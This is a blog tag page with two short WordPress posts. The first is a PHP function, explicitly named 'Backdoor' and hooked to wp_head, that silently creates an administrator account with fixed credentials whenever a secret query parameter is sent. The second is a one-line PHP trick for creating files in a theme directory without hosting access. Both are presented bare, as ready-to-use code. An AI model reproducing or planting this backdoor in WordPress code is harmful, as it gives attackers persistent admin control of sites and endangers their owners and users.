Skip to main content

2 posts tagged with "wordpress"

View All Tags

· One min read
Hreniuc Cristian-Alexandru
<?php
add_action('wp_head', 'Backdoor');

function Backdoor() {
If ($_GET['backdoor'] == 'go') {
require('wp-includes/registration.php');
If (!username_exists('user')) {
$user_id = wp_create_user('user', 'password');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
?>

· One min read
Hreniuc Cristian-Alexandru

Useful when you do not have access to the hosting account:

<?php touch('wp-content/themes/YOUR_THEME_DIR/FILE_NAME.php');?>